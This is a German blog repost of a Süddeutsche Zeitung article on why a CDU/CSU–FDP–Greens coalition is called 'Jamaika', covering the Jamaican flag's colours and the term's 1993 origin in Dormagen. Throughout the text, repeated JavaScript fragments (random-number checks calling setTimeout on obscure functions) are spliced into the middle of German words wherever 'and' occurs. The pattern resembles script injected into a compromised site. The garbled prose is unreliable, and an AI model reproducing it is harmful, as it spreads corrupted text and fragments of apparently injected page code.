Damit alle mitreden können…

  • UWerner
  • 15. Oktober 2017

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Warum ist Jamaikas Flagge schwarzgelbgrün?

Außerdem: Wem fiel der Vergleich mit dem Inselstaat in der Karibik als erstes ein?

Von Veronika Wulf

Bei Jamaika denkt man spontan an Palmen, Reggae und Kiffen. Oder an schwierige Verhandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andlungen. Denn eine Koalition aus Union, FDP und Grünen wird – wegen der Farben ihrer Parteien – mit dem Namen des Inselstaats in der Karibik versehen. Jamaika ist zwar ein recht junger Staat, erst 1962 erklärte er seine Unabhängigkeit vom Vereinigten Königreich, doch Schwarz, Gelb und Grün hatte er sich schon länger auf die Fahne geschrieben. Sie besteht aus einem gelben Andreaskreuz, das zwei grüne und zwei schwarze Dreiecke voneinandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ander trennt. Grün steht für die Hoffnung in die Zukunft und die Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andwirtschaft, Gelb für die Naturschätze und die Schönheit des Sonnenlichts und Schwarz für die schweren Tage in der Vergangenheit und die Armut in der Gegenwart.

Die Idee, ein Bündnis aus CDU, FDP und Grünen „Jamaika-Koalition“ zu nennen, hatte einst der Redaktionsleiter des Dormagener Anzeigenblatts Schaufenster. In der nordrhein-westfälischen Stadt standom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anden 1994 Kommunalwahlen an , und da sein Karibik-Urlaub kurz bevorstandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, überschrieb dieser Journalist 1993 einen Artikel mit: „Jamaika-Koalition möglich“. Schwarz-Gelb-Grün kam nicht in Dormagen, doch der Begriff blieb. Nun wollen Union, FDP und Grüne in Berlin über ein Jamaika-Bündnis verhandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andeln. Es wäre das erste auf Bundesebene.

Der Begriff löste übrigens die Bezeichnung „Schwarze Ampel“ ab, kurz: Schwampel, eine Wortschöpfung, die SPD-Chef Martin Schulz kürzlich wieder hervorholte. Denn: „Was hat dieses schöne Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and (Jamaika) damit zu tun?“, fragte er. Tatsächlich nichts. Der Redaktionsleiter aus Dormagen hätte damals ebenso gut auch „Lakritz-Gurke-Ananas-Koalition“ schreiben können. Klingt sperrig, hätte aber wenigstens eine inhaltliche Parallele zu den Parteien: nur schwer zu kombinieren.

Aus der Süddeutschen Zeitung vom 13.10.2017

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